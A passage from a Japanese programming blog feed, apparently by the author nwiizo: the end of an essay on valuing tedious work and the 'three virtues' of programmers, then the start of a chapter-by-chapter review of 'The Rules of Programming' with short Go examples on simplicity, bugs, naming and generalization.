MediaAmazon地味で魅力に乏しい作業は放置すれば勝手に片付くわけではありません。そして、中途半端に処理された作業は、プロジェクト全体の品質を徐々に蝕む危険因子となり得ます。これらの作業も、プロジェクトの成功には欠かせない重要な要素です。主人公追放系みたいな結論になりたくないのであればチーム全体で、これらの作業の価値を理解し、適切に分担して取り組むことが、健全なプロジェクト運営につながります。雑用付与術師が自分の最強に気付くまで(コミック) : 1 (モンスターコミックス)作者:アラカワシン,戸倉儚双葉社Amazonプログラマーの三大美徳ここからは余談の時間です。本記事では、プログラミング界隈で長く語り継がれてきた「プログラマーの三大美徳」という概念を紹介します。一見すると矛盾しているように見えるこれらの美徳は、実は優秀なプログラマーが体現すべき本質的な姿勢を巧みに表現しています。怠惰(Laziness)短気(Impatience)傲慢(Hubris)これらの「美徳」は、表面的な意味とは異なり、長期的な効率と品質を追求するための姿勢を象徴しています。3つをそれぞれ紹介します。退屈なことはPythonにやらせよう 第2版 ―ノンプログラマーにもできる自動化処理プログラミング作者:Al Sweigartオライリー・ジャパンAmazonなお、このようなプログラミングに関する概念や原則について、より広く学びたい方には「プリンシプル オブ プログラミング3年目までに身につけたい一生役立つ101の原理原則」という書籍がおすすめです。プログラミングの基本から応用まで幅広く網羅されており、キャリアの長さに関わらず有益な知識を得ることができるでしょう。プリンシプル オブ プログラミング 3年目までに身につけたい 一生役立つ101の原理原則作者:上田勲秀和システムAmazon怠惰ここでいう怠惰は、単に仕事を避けることではありません。将来の労力を削減するために今努力する姿勢を指します。例えば、繰り返し作業を自動化するスクリプトを作成することで、長期的には大幅な時間短縮が可能になります。短気この文脈での短気は、非効率やバグに対する不寛容さを意味します。問題を見つけたらすぐに解決しようとする姿勢は、ソフトウェアの品質向上に直結します。傲慢ここでの傲慢さは、自分のコードに対する高い基準と誇りを持つことを指します。他者の目に耐えうる質の高いコードを書こうとする姿勢は、長期的にはメンテナンス性の向上をもたらします。退屈な作業を避けない理由これらの美徳を念頭に置くと、退屈な作業の重要性が見えてきます。では、なぜ退屈な作業を避けてはいけないのでしょうか。以下に理由を挙げます。短期的な不便を我慢することで、長期的な利益が得られるコードの品質と保守性が向上する同じ問題が繰り返し発生するのを防ぐことができる例えば、関数の引数を追加し、それを使用している全ての箇所を更新する作業は退屈で時間がかかりますが、これを怠ると将来的に大きな問題を引き起こす可能性があります。賢明な努力の仕方プログラミングにおいて退屈な作業は避けられませんが、それらに対処する効果的な方法があります。以下に、退屈な作業に直面したときに個人的な対応策を紹介します。自動化の可能性を探る繰り返し行う作業や定型的なタスクに遭遇したら、まずその自動化を検討しましょう。作業の頻度と複雑さを考慮しつつ、スクリプト作成やツール導入などの自動化手段を探ります。短期的には多少の労力が必要でも、長期的には大幅な時間節約と効率化につながる方法を模索することが重要です。近年では、生成AIの活用も自動化の強力な選択肢となっています。例えば:コード生成: 単調な構造のコードや、頻繁に書く定型的なコードパターンの生成に利用できます。ドキュメント作成: コメントの生成やREADMEファイルの下書き作成など、文書作成作業の効率化に役立ちます。テストケース生成: 基本的なユニットテストの雛形を自動生成し、テスト作成の負担を軽減できます。バグ修正支援: エラーメッセージを基に、潜在的な修正案を提案してもらうことができます。ただし、AIの出力は常に人間のレビューと検証が必要であり、また著作権や法的問題にも注意が必要です。自動化にも適切な投資と判断が必要であり、作業の重要度と頻度に応じて最適な方法を選択することが賢明です。完璧を求めすぎない完璧主義は時として進捗の妨げになります。問題の本質的な部分に注力し、まずは効率的に動く最小限の機能を実装することを目指しましょう。残りの細部は段階的に改善していく方針を取ることで、プロジェクトを効率的に進めながらも品質を確保することができます。長期的な視点を持つ目の前の作業に追われるだけでなく、その作業が将来のコード品質や保守性にどのような影響を与えるかを常に意識することが大切です。短期的には非効率に見えても、長期的には大きな価値を生み出す取り組みを優先することで、持続可能で高品質なソフトウェア開発が可能になります。技術的負債を減らし、将来の拡張性を考慮したコーディングを心がけましょう。退屈さを認識しつつ取り組む避けられない退屈な作業に直面した際は、その必要性や全体における位置づけを理解することが重要です。小さな目標を設定したり、作業の中から新しい学びを見出したりするなど、モチベーションを維持する工夫をしながら粛々と取り組みましょう。このような姿勢は、プロフェッショナルとしての成熟度を高めるとともに、最終的にはプロジェクト全体の品質向上に大きく貢献します。時間を区切って取り組む面倒で退屈な作業に向き合う際、ポモドーロテクニックのような時間管理手法を活用するのも効果的です。これは、25分の作業と5分の休憩を1セットとし、これを繰り返す方法です。時間を区切ることで、以下のような利点があります:集中力の維持:短い時間に区切ることで、集中力を持続させやすくなります。達成感の獲得:1ポモドーロ(25分)ごとに小さな達成感を味わえます。作業の可視化:何ポモドーロ分の作業だったかを数えることで、作業量を把握しやすくなります。ストレス軽減:定期的な休憩により、精神的な負担を軽減できます。退屈な作業も、「あと1ポモドーロだけ」と自分に言い聞かせることで、モチベーションを保ちやすくなります。また、この手法は作業の見積もりにも役立ち、「このタスクは約4ポモドーロで終わりそうだ」といった具合に、作業の規模を把握しやすくなります。時間を決めて取り組むことで、際限なく作業が続く不安も軽減され、より前向きに退屈な作業に取り組めるようになるでしょう。これらの方策を適切に組み合わせることで、退屈な作業も効率的かつ効果的に取り組むことができ、結果としてプロジェクト全体の質の向上につながります。プログラミングの技術は、こうした日々の小さな努力の積み重ねによって磨かれていきます。おわりにプログラマーとして成長するためには、創造的な作業だけでなく、時には退屈な作業を受け入れて取り組む必要があります。これは単なる根性論ではなく、コードの品質と効率を長期的に向上させるための賢明な戦略なのです。三大美徳を心に留めながら、退屈な作業も真摯に取り組むことで、より優れたプログラマーになることができるでしょう。時には「ただ釘を打つ」ような単純作業も、全体の品質向上には欠かせません。実際、この「釘を打つ」作業の質が、ソフトウェア全体の堅牢性と信頼性に大きく響くのです。一本一本の釘がしっかりと打たれていなければ、どんなに立派な設計図も意味をなさないのと同じです。プログラミングの本質は、単に動くコードを書くことではなく、保守性が高く、効率的で、長期的に価値のあるソフトウェアを作ることです。そのためには、時には退屈な作業も厭わない姿勢が必要です。小さな作業の積み重ねが、最終的には大きな違いを生み出すのです。完璧な設計や革新的なアルゴリズムも重要ですが、それらを支える地道な作業の質こそが、ソフトウェアの真の強さを決定づけます。退屈な作業を丁寧に、そして誠実に遂行することで、私たちは真に信頼性の高い、価値あるソフトウェアを作り上げることができるのです。禅とオートバイ修理技術 下 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazon","isoDate":"2024-09-20T08:15:50.000Z","dateMiliSeconds":1726820150000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"ルールは現場で死にました - The Rules of Programming の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/09/15/151738","contentSnippet":"本日は人生の数ある選択肢のなかから、こちらのブログを読むという行動を選んでくださいまして、まことにありがとうございます。はじめにプログラミングの世界には多くの指針や原則が存在します。Chris Zimmerman氏の「The Rules of Programming」(邦題:ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール)は、不変の知恵を凝縮した一冊です。これらの原則は、多くの開発現場で活用できる有益な内容となっていると思いました。The Rules of Programming: How to Write Better Code (English Edition)作者:Zimmerman, ChrisO'Reilly MediaAmazon本書は、大ヒットゲーム『Ghost of Tsushima』などで知られるゲーム制作スタジオ、Sucker Punch Productionsの共同創設者であるChris Zimmerman氏によって書かれました。コードの品質、パフォーマンス、保守性に関する多くの原則は、ゲーム開発以外の様々な分野で共通しています。豊富な経験の中で培われた知見が、仕様通り、想定通りにコードを書けるようになったものの、さらに良いコードがあるはずだという漠然とした感覚を抱いているあなたのスキルを次のレベルへと導いてくれるでしょう。本日は #英語デー🌏あの名台詞、英語で言ってみよう!\"誉れは浜で死にました。ハーンの首をとるために。\"\"Honor died on the beach. Khan deserves to suffer.\"- 境井仁 (『Ghost of Tsushima』より)#ゴーストオブツシマ #GhostofTsushima #英語の日 #ゲームで学ぶ英会話 pic.twitter.com/RBYRuRVmvx— プレイステーション公式 (@PlayStation_jp) 2021年4月23日 ブログのタイトルは「誉れは浜で死にました。」- 境井仁 (『Ghost of Tsushima』より)からいただきました。このタイトルは、本書の内容と呼応するように、時に固定観念や既存のルールを疑い、現場の状況に応じて柔軟に対応することの重要性を示唆しています。21のルールの意義と特徴著者の豊富な経験から抽出された21のルールは、新人から経験豊富な開発者まで、すべてのプログラマーが知っておくべき本質的な知恵を提供しています。これらのルールは単なる技術的なティップスではなく、プログラミングの哲学とも言えるものです。例えば、「コードは書くものではなく、読むものである」というルールは、保守性と可読性の重要性を強調しています。ルールは現場で死にました本書の特筆すべき点は、実際の開発現場からの生きた例が豊富に盛り込まれており、著者が読者に対しこれらのアプローチを鵜呑みにせず自身の現場や経験と照らし合わせながら批判的に考えることを推奨していることです。この姿勢は、プログラミングが常に進化し、コンテキストによって最適な解決策が変わり得ることを認識させてくれます。本書を通じて、私たちはプログラミングの技術だけでなく、良いコードとは何か、どのようにしてそれを書くべきかについて、深く考えさせられます。これは単なるスキルアップではなく、プログラマーとしての思考方法や哲学の形成にも大きく寄与するでしょう。当初の目論見と能力不足による断念当初、様々なコーディングルールをまとめて紹介しようと考えていましたが、作業量が膨大となり断念しました。この経験から、良質な情報をキュレーションすることの難しさと重要性を学びました。今後、機会を見つけて他のコーディングルールについても順次紹介していきたいと考えています。この過程で、異なる開発文化や言語間での共通点や相違点についても探究していきたいと思います。日本語版日本語版の出版により、多くの日本人エンジニアがより深い理解を得られ、本書の真髄を効果的に吸収できたと実感しています。翻訳書の重要性は、単に言語の壁を取り除くだけでなく、文化的なコンテキストを考慮した解釈を提供する点にもあります。この日本語版は、日本のソフトウェア開発文化にも大きな影響を与える可能性を秘めています。ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール作者:Chris Zimmermanオーム社Amazon執筆プロセスと建設的な対話のお願い最後に、このブログの執筆プロセスにおいて、大規模言語モデル(LLM)を活用していることをお伝えします。そのため、一部の表現にLLM特有の文体が反映されている可能性があります。ただし、内容の核心と主張は人間である私の思考と判断に基づいています。LLMは主に文章の構成や表現の洗練化に寄与していますが、本質的な洞察や分析は人間の所産です。この点をご理解いただければ幸いです。あと、基本的には繊細なのでもっと議論ができる意見やポジティブな意見を下さい。本書の内容や私の感想文について、さらに詳しい議論や意見交換をしたい方がいらっしゃいましたら、Xのダイレクトメッセージでご連絡ください。パブリックな場所での一方的な批判は暴力に近く。建設的な対話を通じて、記事を加筆修正したいです。互いの理解をさらに深められることを楽しみにしています。syu-m-5151.hatenablog.com本編「The Rules of Programming」は、ソフトウェア開発の様々な側面を網羅する包括的なガイドです。著者の長年の経験から得られた洞察は多くの開発者にとって貴重な指針となりますが、最も印象に残ったのは、これらのルールを批判的に検討し、自身の環境や経験に照らし合わせて適用することの重要性を著者が強調している点です。この本は単なるテクニカルガイドを超え、プログラミングの本質と向き合うための思考法を提供しています。21のルールそれぞれが、コードの品質向上だけでなく、プログラマーとしての成長にも寄与する深い洞察を含んでいます。例えば、「最適化の前に測定せよ」というルールは、効率化の重要性と同時に、根拠に基づいた意思決定の必要性を説いています。また、本書は理論だけでなく実践的なアドバイスも豊富です。各ルールに付随する具体例やケーススタディは、抽象的な概念を現実の開発シナリオに結びつける助けとなります。これにより、読者は自身の日々のプログラミング実践に直接適用できるインサイトを得ることができます。結論として、この本は単にプログラミングスキルを向上させるだけでなく、ソフトウェア開発に対する包括的な理解と哲学を育むための貴重なリソースとなっています。プログラマーとしてのキャリアのどの段階にあっても、本書から学ぶべき重要な教訓があるでしょう。しかし、本書の本当の価値は私の読書感想文程度では伝えきれません。なので、「ほへー」以上の思考を抱かず、書籍を読んで下さい。ぜひ、あなた自身でこの本を手に取り、21のルールそれぞれについて熟考し、自分の経験と照らし合わせながら、プログラミングの本質に迫ってください。その過程で得られる洞察こそが、あなたのソフトウェア開発スキルを次のレベルへと導くでしょう。Rule 1. As Simple as Possible, but No Simpler第1章「As Simple as Possible, but No Simpler」は、プログラミングの根幹を成す重要な原則を探求しています。この章では、シンプルさの重要性、複雑さとの戦い、そして適切なバランスを見出すことの難しさについて深く掘り下げています。著者は、ある言葉を引用しながら、プログラミングにおける「シンプルさ」の本質を明確に示しています。この主題に関しては、「A Philosophy of Software Design」も優れた洞察を提供しています。以下のプレゼンテーションは、その概要を30分で理解できるよう要約したものです。 speakerdeck.com両書を併せて読むことで、ソフトウェア設計におけるシンプルさの重要性をより深く理解することができるでしょう。シンプルさの定義と重要性著者は、シンプルさを「問題のすべての要件を満たす最もシンプルな実装方法」と定義しています。この定義は、一見単純に見えますが、実際のソフトウェア開発において深い意味を持ちます。シンプルさは、コードの可読性、保守性、そして最終的にはプロジェクトの長期的な成功に直結する要素だと著者は主張しています。実際の開発現場では、この原則を適用するのは容易ではありません。例えば、新機能の追加や既存機能の拡張を行う際に、コードの複雑さが増すことは避けられません。しかし、著者が強調するのは、その複雑さを最小限に抑えることの重要性です。これは、単に「短いコードを書く」ということではなく、問題の本質を理解し、それに最適なアプローチを選択することを意味します。複雑さとの戦い著者は、プログラミングを「複雑さとの継続的な戦い」と表現しています。この見方は、多くの経験豊富な開発者の実感と一致するでしょう。新機能の追加や既存機能の修正が、システム全体の複雑さを増大させ、結果として開発速度の低下や品質の低下につながるという現象は、多くのプロジェクトで見られます。著者は、この複雑さの増大を「イベントホライズン」に例えています。これは、一歩進むごとに新たな問題が生まれ、実質的な進歩が不可能になる状態を指します。この状態を避けるためには、常にシンプルさを意識し、複雑さの増大を最小限に抑える努力が必要です。ja.wikipedia.orgシンプルさの測定シンプルさを測る方法について、著者はいくつかの観点を提示しています。コードの理解のしやすさコードの作成の容易さコードの量導入される新しい概念の数説明に要する時間これらの観点は、実際の開発現場でも有用な指標となります。例えば、コードレビューの際に、これらの観点を基準として用いることで、より客観的な評価が可能になります。シンプルさと正確さのバランス著者は、シンプルさを追求する一方で、問題の要件を満たすことの重要性も強調しています。この点は特に重要で、単純に「シンプルなコード」を書くことが目的ではなく、問題を正確に解決しつつ、可能な限りシンプルな実装を目指すべきだということを意味します。例として、著者は階段の昇り方のパターン数を計算する問題を取り上げています。この問題に対して、再帰的な解法、メモ化を用いた解法、動的計画法を用いた解法など、複数のアプローチを示しています。各アプローチの利点と欠点を比較することで、シンプルさと性能のトレードオフを具体的に示しています。コードの重複とシンプルさ著者は、コードの重複を避けることが必ずしもシンプルさにつながるわけではないという興味深い観点を提示しています。小規模な重複は、時としてコードの可読性を高め、理解を容易にする場合があるという主張は、多くの開発者にとって新鮮な視点かもしれません。この主張は、DRY(Don't Repeat Yourself)原則と一見矛盾するように見えますが、著者の意図は、原則を盲目的に適用するのではなく、状況に応じて適切な判断を下すべきだということです。小規模な重複を許容することで、コードの全体的な構造がシンプルになり、理解しやすくなる場合があるという指摘は、実務的な視点から重要です。まとめ著者は、プログラミングにおけるシンプルさの追求が、単なる美学的な問題ではなく、プロジェクトの成功に直結する重要な要素であることを強調しています。複雑さとの戦いは永続的なものであり、シンプルさを維持する努力は決して終わることがありません。しかし、この努力は決して無駄ではありません。著者自身の25年にわたるプロジェクト経験が示すように、複雑さを制御し続けることで、長期的な進化と成功が可能になります。この章は、プログラミングの本質的な課題に光を当て、実践的なアプローチを提示しています。シンプルさの追求は、単にコードを書く技術だけでなく、問題の本質を理解し、最適な解決策を見出す能力を要求します。これは、ソフトウェア開発の技術と言えるでしょう。最後に、この章の教訓は、特定の言語や環境に限定されるものではありません。シンプルさの追求は、あらゆるプログラミング言語、開発環境、そしてプロジェクトの規模に適用可能な普遍的な原則です。この原則を心に留め、日々の開発作業に活かしていくことが、真に優れたソフトウェアエンジニアへの道となるのです。Rule 2. Bugs Are Contagious第2章「Bugs Are Contagious」は、ソフトウェア開発における重要な課題の一つであるバグの性質と、その対処法について深く掘り下げています。著者は、バグが単なる孤立した問題ではなく、システム全体に影響を及ぼす「伝染性」を持つという洞察を提示しています。この章を通じて、バグの早期発見と対処の重要性、そしてそれを実現するための具体的な方法論が示されています。完全な余談なのですがこの章の内容は、一見「割れ窓理論」を想起させますが、最近の研究ではこの理論の妥当性に疑問が投げかけられています。例えば、「Science Fictions あなたが知らない科学の真実」では、有名な科学実験の再検証だけでなく、科学研究の制度的な問題点や改善策についても論じられています。Science Fictions あなたが知らない科学の真実作者:スチュアート・リッチーダイヤモンド社Amazonこの書籍は、科学研究の信頼性向上のための追試制度の提案や査読プロセスの改善など、建設的な内容を含んでおり、科学的知見の批判的検討の重要性を示唆しています。「割れ窓理論」は本書では直接言及されていませんが、同様に再検証が必要とされる理論の一つとして考えられています。例えで出したら後輩に指摘されてしまうかもしれません。バグの伝染性著者は、バグが存在すると、他の開発者が意図せずにそのバグに依存したコードを書いてしまう可能性があると指摘しています。これは、バグが単に局所的な問題ではなく、システム全体に影響を及ぼす「伝染性」を持つことを意味します。例えば、あるモジュールのバグが、そのモジュールを利用する他の部分にも影響を与え、結果として複数の箇所で問題が発生するという状況です。この洞察は、日々の開発現場でも当てはまるものです。例えば、APIの仕様にバグがあると、それを利用する多くのクライアントコードが影響を受けることがあります。そのため、バグの早期発見と修正が極めて重要になります。早期発見の重要性著者は、バグを早期に発見することの重要性を強調しています。バグが長期間放置されるほど、それに依存したコードが増え、修正が困難になるというわけです。これは、多くの開発者が経験的に知っていることかもしれませんが、著者はこれを「entanglement(絡み合い)」という概念で説明しています。実際の開発現場では、この「entanglement」の問題は頻繁に発生します。例えば、あるライブラリのバグを修正したら、それを使用していた多くのアプリケーションが動かなくなるという事態は珍しくありません。これは、アプリケーションがバグの振る舞いに依存していたためです。自動テストの重要性著者は、バグの早期発見のための主要な手段として、自動テストの重要性を強調しています。継続的な自動テストを行うことで、バグを早期に発見し、「entanglement」の問題を最小限に抑えることができるというわけです。しかし、著者も認めているように、自動テストの導入には課題もあります。例えば、ゲーム開発のような主観的な要素が大きい分野では、すべての要素を自動テストでカバーすることは困難です。また、テストの作成自体にも多くの時間とリソースが必要になります。ステートレスコードの利点著者は、テストを容易にするための一つの方法として、ステートレスなコードの作成を推奨しています。ステートを持たない純粋な関数は、入力に対して常に同じ出力を返すため、テストが容易になります。これは、実際の開発現場でも有効な方法です。例えば、以下のようなGolangのコードを考えてみます。func sumVector(values []int) int { sum := 0 for _, value := range values { sum += value } return sum}このような純粋関数は、入力と出力の関係が明確で、副作用がないため、テストが容易です。一方、状態を持つコードは、その状態によって振る舞いが変わるため、テストが複雑になりがちです。内部監査の重要性著者は、完全にステートレスにできない場合の対策として、内部監査(internal auditing)の重要性を指摘しています。これは、コード内部で自己チェックを行うメカニズムを実装することで、状態の一貫性を保つ方法です。例えば、Golangでは以下のように実装できます。type Character struct { // フィールド省略}func (c *Character) audit() { // 内部状態の一貫性をチェック if /* 一貫性が破れている */ { panic(\"Character state is inconsistent\") }}このような内部監査を適切に配置することで、状態の不整合を早期に発見し、デバッグを容易にすることができます。呼び出し側を信頼しない著者は、「呼び出し側を信頼しない」という重要な原則を提示しています。これは、APIを設計する際に、不正な引数や不適切な使用方法を想定し、それらを適切に処理することの重要性を示しています。例えば、Golangでは以下のように実装できます。type ObjectID struct { index int generation int}func (s *Simulator) isObjectIDValid(id ObjectID) bool { return id.index >= 0 && id.index < len(s.indexGenerations) && s.indexGenerations[id.index] == id.generation}func (s *Simulator) getObjectState(id ObjectID) (ObjectState, error) { if !s.isObjectIDValid(id) { return ObjectState{}, errors.New(\"invalid object ID\") } // 以下、正常な処理}このようなチェックを実装することで、APIの誤用を早期に検出し、デバッグを容易にすることができます。まとめ著者は、バグの「伝染性」という概念を通じて、早期発見と対処の重要性を強調しています。自動テスト、ステートレスなコード設計、内部監査、そして堅牢なAPIデザインなど、様々な手法を組み合わせることで、バグの影響を最小限に抑えることができると主張しています。これらの原則は、実際の開発現場でも有効です。特に、マイクロサービスアーキテクチャやサーバーレスコンピューティングが主流となっている現代のソフトウェア開発では、ステートレスなコード設計の重要性が増しています。また、CI/CDパイプラインの普及により、継続的な自動テストの実施が容易になっています。しかし、著者も認めているように、これらの原則をすべての状況で完全に適用することは難しい場合もあります。例えば、レガシーシステムの保守や、リアルタイム性が要求される組み込みシステムの開発など、制約の多い環境では、これらの原則の適用に工夫が必要になるでしょう。結論として、この章で提示されている原則は、バグの早期発見と対処を通じて、ソフトウェアの品質と保守性を高めるための重要な指針となります。これらの原則を理解し、プロジェクトの特性に応じて適切に適用することが、開発者には求められるのです。Rule 3. A Good Name Is the Best Documentation第3章「A Good Name Is the Best Documentation」は、プログラミングにおける命名の重要性を深く掘り下げています。著者は、適切な命名がコードの理解しやすさと保守性に大きな影響を与えることを強調し、良い命名がいかに効果的なドキュメンテーションになり得るかを説明しています。この章では、命名の原則から具体的なプラクティス、そして命名規則の一貫性の重要性まで、幅広いトピックがカバーされています。著者の経験に基づく洞察は、日々のコーディング作業から大規模プロジェクトの設計まで、様々な場面で適用できる実践的なアドバイスとなっています。言葉の形と意味の関連性については例えば、「ゴロゴロ」という言葉が雷の音を模倣しているように、言葉の音や形が、その意味を直接的に表現している場合があります。この概念は、プログラミングの命名にも応用できる可能性があります。機能や役割を直感的に表現する変数名やメソッド名を選ぶことで、コードの理解しやすさを向上させることができるかもしれません。ただし、プログラムの複雑化に伴い、単純な音や形の類似性だけでは不十分になる場合もあるため、コンテキストや他の命名規則との整合性も考慮する必要があります。言語の本質 ことばはどう生まれ、進化したか (中公新書)作者:今井むつみ,秋田喜美中央公論新社Amazon命名の重要性著者は、シェイクスピアの「ロミオとジュリエット」を引用しながら、名前の持つ力について語り始めます。「バラはどんな名前で呼んでも、同じように甘い香りがする」というジュリエットの台詞を、プログラミングの文脈で解釈し直しています。著者の主張は明確です。コードにおいて、名前は単なるラベル以上の意味を持つのです。適切な名前は、そのコードの目的や機能を即座に伝える強力なツールとなります。これは、コードを書く時間よりも読む時間の方が圧倒的に長いという現実を考えると、重要な指摘です。実際の開発現場でも、この原則の重要性は日々実感されます。例えば、数ヶ月前に書いたコードを見直す時、適切な名前付けがされていれば、コードの意図を素早く理解できます。逆に、意味の曖昧な変数名やメソッド名に遭遇すると、コードの解読に余計な時間を取られてしまいます。最小限のキーストロークを避ける著者は、変数名や関数名を短くすることで、タイピング時間を節約しようとする傾向について警告しています。これは特に、経験の浅い開発者や古い時代のプログラミング習慣を持つ開発者に見られる傾向です。例として、複素数の多項式を評価する関数のコードが示されています。最初の例では、変数名が極端に短く、コードの意図を理解するのが困難です。一方、適切な名前を使用した第二の例では、コードの意図が明確になり、理解しやすくなっています。// 悪い例func cp(n int, rr, ii []float64, xr, xi float64) (yr, yi float64) { // ... (省略)}// 良い例func evaluateComplexPolynomial(degree int, realCoeffs, imagCoeffs []float64, realX, imagX float64) (realY, imagY float64) { // ... (省略)}この例は、適切な命名がいかにコードの可読性を向上させるかを明確に示しています。長い名前を使用することで、コードを書く時間は若干増えるかもしれませんが、それ以上に読む時間と理解する時間が大幅に短縮されます。命名規則の一貫性著者は、プロジェクト内で一貫した命名規則を使用することの重要性を強調しています。異なる命名規則が混在すると、コードの理解が困難になり、認知負荷が増大します。例えば、自作のコンテナクラスと標準ライブラリのコンテナクラスを混在して使用する場合、命名規則の違いによって混乱が生じる可能性があります。著者は、可能な限り一貫した命名規則を採用し、外部ライブラリの使用を最小限に抑えることを提案しています。実際の開発現場では、チーム全体で一貫した命名規則を採用することが重要です。例えば、Golangでは以下のような命名規則が一般的です。// 良い例type User struct { ID int FirstName string LastName string}func (u *User) FullName() string { return u.FirstName + \" \" + u.LastName}// 悪い例(一貫性がない)type customer struct { id int first_name string LastName string}func (c *customer) get_full_name() string { return c.first_name + \" \" + c.LastName}この例では、良い例では一貫してキャメルケースを使用し、構造体名は大文字で始まっています。一方、悪い例では命名規則が混在しており、理解が困難になっています。機械的な命名規則の利点著者は、可能な限り機械的な命名規則を採用することを推奨しています。これにより、チームメンバー全員が自然に同じ名前を選択するようになり、コードベース全体の一貫性が向上します。著者の所属するSucker Punchでは、Microsoftのハンガリアン記法の変種を使用しているそうです。例えば、iFactionは配列内のインデックスを、vpCharacterはキャラクターへのポインタのベクトルを表します。これは興味深いアプローチですが、現代のプログラミング言語やIDE環境では必ずしも必要ないかもしれません。例えば、Golangでは型推論が強力で、IDEのサポートも充実しています。そのため、以下のような命名規則でも十分に明確であり、かつ読みやすいコードを書くことができます。func ProcessUsers(users []User, activeOnly bool) []User { var result []User for _, user := range users { if !activeOnly || user.IsActive { result = append(result, user) } } return result}この例では、変数の型や用途が名前自体から明確に分かります。usersは複数のユーザーを表す配列、activeOnlyはブール値のフラグ、resultは処理結果を格納する配列です。まとめ著者は、良い命名が最良のドキュメンテーションであるという主張を、様々な角度から論じています。適切な命名は、コードの意図を即座に伝え、保守性を高め、チーム全体の生産性を向上させます。一方で、命名規則に関しては、プロジェクトやチームの状況に応じて柔軟に対応することも重要です。例えば、レガシーコードベースを扱う場合や、異なる背景を持つ開発者が協働する場合など、状況に応じた判断が求められます。私の経験上、最も重要なのはチーム内での合意形成です。どのような命名規則を採用するにせよ、チーム全体がその規則を理解し、一貫して適用することが、コードの可読性と保守性を高める鍵となります。また、命名規則は時代とともに進化することも忘れてはいけません。例えば、かつては変数名の長さに制限があったため短い名前が好まれましたが、現代の開発環境ではそのような制限はほとんどありません。そのため、より説明的で長い名前を使用することが可能になっています。結論として、良い命名はコードの品質を大きく左右する重要な要素です。it's not just about writing code, it's about writing code that tells a story. その物語を明確に伝えるために、私たちは日々、より良い命名を追求し続ける必要があるのです。Rule 4. Generalization Takes Three Examples第4章「Generalization Takes Three Examples」は、ソフトウェア開発における一般化(generalization)の適切なタイミングと方法について深く掘り下げています。著者は、コードの一般化が重要でありながらも、早すぎる一般化が引き起こす問題について警鐘を鳴らしています。この章を通じて、プログラマーが日々直面する「特定の問題を解決するコードを書くべきか、それとも汎用的な解決策を目指すべきか」というジレンマに対する洞察を提供しています。この章の内容は、認知心理学の知見とも関連しており、即座に解決策を求める直感的な思考は特定の問題に対する迅速な解決をもたらす一方で過度の一般化につながる危険性がある一方、より慎重で分析的な思考は複数の事例を比較検討し適切なレベルの一般化を導く可能性が高くなるため、著者が提案する「3つの例則」は、より適切な一般化を実現するための実践的なアプローチとして、ソフトウェア開発における意思決定プロセスを理解し改善するための新たな洞察を提供してくれるでしょう。ファスト&スロー (上)作者:ダニエル カーネマン,村井 章子早川書房Amazon一般化の誘惑著者は、プログラマーが一般的な解決策を好む傾向について語ることから始めます。例えば、赤い看板を見つける関数を書く代わりに、色を引数として受け取る汎用的な関数を書くことを選ぶプログラマーが多いと指摘しています。// 特定の解決策func findRedSign(signs []Sign) *Sign { for _, sign := range signs { if sign.Color() == Color.Red { return &sign } } return nil}// 一般的な解決策func findSignByColor(signs []Sign, color Color) *Sign { for _, sign := range signs { if sign.Color() == color { return &sign } } return nil}この例は、多くのプログラマーにとって馴染み深いものでしょう。私自身、これまでの経験で何度も同様の選択を迫られてきました。一般的な解決策を選ぶ理由として、将来的な拡張性や再利用性を挙げる人が多いですが、著者はここで重要な問いを投げかけています。本当にその一般化は必要なのか?YAGNIの原則著者は、XP(エクストリーム・プログラミング)の原則の一つである「YAGNI」(You Ain't Gonna Need It:それは必要にならないよ)を引用しています。この原則は、実際に必要になるまで機能を追加しないことを提唱しています。こういう原則は『プリンシプル オブ プログラミング3年目までに身につけたい一生役立つ101の原理原則』を読めば一通り読めるのでおすすめです。プリンシプル オブ プログラミング 3年目までに身につけたい 一生役立つ101の原理原則作者:上田勲秀和システムAmazon例えば、看板検索の例をさらに一般化して、色だけでなく、場所やテキストなども検索できるようにした SignQuery 構造体を考えてみます。type SignQuery struct { Colors []Color Location Location MaxDistance float64 TextPattern string}func findSigns(query SignQuery, signs []Sign) []Sign { // 実装省略}この SignQuery は柔軟で強力に見えますが、著者はこのアプローチに警鐘を鳴らします。なぜなら、この一般化された構造は、実際には使用されない機能を含んでいる可能性が高いからです。さらに重要なことに、この一般化された構造は、将来の要件変更に対して柔軟に対応できないかもしれません。3つの例則著者は、一般化を行う前に少なくとも3つの具体的な使用例を見るべきだと主張します。これは、良い視点だと思いました。1つや2つの例では、パターンを正確に把握するには不十分で、誤った一般化を導く可能性があります。3つの例を見ることで、より正確なパターンの把握と、より控えめで適切な一般化が可能になるという考えは説得力があります。実際の開発現場では、この「3つの例則」を厳密に適用するのは難しいかもしれません。しかし、この原則を意識することで、早すぎる一般化を避け、より適切なタイミングで一般化を行うことができるでしょう。過度な一般化の危険性著者は、過度に一般化されたコードがもたらす問題について詳しく説明しています。特に印象的だったのは、一般化されたソリューションが「粘着性」を持つという指摘です。つまり、一度一般化された解決策を採用すると、それ以外の方法を考えるのが難しくなるということです。例えば、findSigns 関数を使って赤い看板を見つけた後、他の種類の看板を見つける必要が出てきたとき、多くのプログラマーは自然と findSigns 関数を拡張しようとするでしょう。しかし、これが必ずしも最適な解決策とは限りません。// 過度に一般化された関数func findSigns(query ComplexQuery, signs []Sign) []Sign { // 複雑な実装}// 単純で直接的な解決策func findBlueSignsOnMainStreet(signs []Sign) []Sign { var result []Sign for _, sign := range signs { if sign.Color() == Color.Blue && isOnMainStreet(sign.Location()) { result = append(result, sign) } } return result}この例では、findSigns を使用するよりも、直接的な解決策の方がシンプルで理解しやすいことがわかります。著者の主張は、一般化されたソリューションが常に最適とは限らず、時には直接的なアプローチの方が優れている場合があるということです。まとめ著者の「Generalization Takes Three 